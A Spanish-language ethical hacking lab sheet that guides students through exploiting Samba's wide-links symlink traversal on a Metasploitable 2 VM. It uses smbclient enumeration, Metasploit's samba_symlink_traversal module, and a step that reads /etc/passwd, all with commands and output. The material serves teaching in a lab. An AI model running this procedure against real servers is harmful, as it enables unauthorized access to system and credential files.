Materia:	Ethical Hacking
Unidad:	3
Práctica:	4 Exploit (samba-CIFS)
Versión:	1.0
Objetivo:	¿Quién? El alumno, ¿Qué? entenderá cómo acceder a recursos no compartidos, ¿Cómo? usando la herramienta metasploit, ¿Para qué? en orden a conocer la fase de ataque al objetivo.
Horas teórico-prácticas:	1.5 hrs
Puntuación:	% de la calificación final

Logística:	Práctica personal. Tomar evidencias de todo para el reporte final. Se utilizarán las VVMM kali y metasploitable 2:
	
	En Samba, cuando se ha compartido un archivo en modo escritura y se ha habilitado el modo “wide links” (esta opción especifica que el usuario puede seguir ligas o enlaces simbólicos que apunten fuera del directorio compartido), puede ser usado como un backdoor para acceder a archivos que no fueron intencionalmente compartidos. A continuación se usará Metasploit para ganar acceso a la raíz del filesystem de root.
	
	Enumeración:
	
	La etapa de escaneo se ha realizado en prácticas anteriores, por eso se omite. La enumeración consistirá en encontrar los recursos que podrían ser vulnerables.
	
	1. Con el siguiente comando podemos darnos cuenta que el directorio tmp tiene permisos de escritura:
	
	`└─$ smbclient -L //192.168.56.130`
	`Password for [WORKGROUP\kali]:`
	`Anonymous login successful`
	
	`Sharename Type Comment`
	`--- --- ---`
	`print$ Disk Printer Drivers`
	`tmp Disk oh noes!`
	`opt Disk`
	`IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))`
	`ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))`
	`Reconnecting with SMB1 for workgroup listing.`
	`Anonymous login successful`
	
	`Server Comment`
	`--- ---`
	
	`Workgroup Master`
	`--- ---`
	`WORKGROUP METASPLOITABLE`
	
	Explotación
	
	2. A continuación se usará el módulo de Metasploit correspondiente a esa vulnerabilidad, y se configurará:

```
msf6 > use auxiliary/admin/smb/samba_symlink_traversal
msf6 auxiliary(admin/smb/samba_symlink_traversal) > show options

Module options (auxiliary/admin/smb/samba_symlink_traversal):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target host(s), see https://do
                                         cs.metasploit.com/docs/using-metas
                                         ploit/basics/using-metasploit.html
   RPORT      445              yes       The SMB service port (TCP)
   SMBSHARE                    yes       The name of a writeable share on t
                                         he server
   SMBTARGET  rootfs           yes       The name of the directory that sho
                                         uld point to the root filesystem


View the full module info with the info, or info -d command.

msf6 auxiliary(admin/smb/samba_symlink_traversal) > set RHOSTS 192.168.56.130
RHOSTS => 192.168.56.130
msf6 auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp
SMBSHARE => tmp
```

3. Se ejecuta el exploit

```
msf6 auxiliary(admin/smb/samba_symlink_traversal) > exploit
[*] Running module against 192.168.56.130

[*] 192.168.56.130:445 - Connecting to the server...
[*] 192.168.56.130:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.56.130:445 - Trying to link 'rootfs' to the root filesystem...
[*] 192.168.56.130:445 - Now access the following share to browse the root fi
lesystem:
[*] 192.168.56.130:445 -        \\192.168.56.130\tmp\rootfs\

[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/samba_symlink_traversal) > exit
```

4. Y a continuación ya se podrán “montar” el recurso compartido y navegar en él. En el ejemplo se prueba entrar al directorio etc y se puede ver el contenido del archivo passwd:

```
└─$ smbclient //192.168.56.130/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
```

Entregable: Toda vez que se haya terminado la práctica, redactar el reporte del análisis de pentesting (plantilla). Limitarse a reportar y documentar el servicio comprometido y la vulnerabilidad explotada.

Bibliografía:

"Penetration Testing: A Hands-On Introduction to Hacking" por Georgia Weidman

https://docs.rapid7.com/metasploit/msf-overview/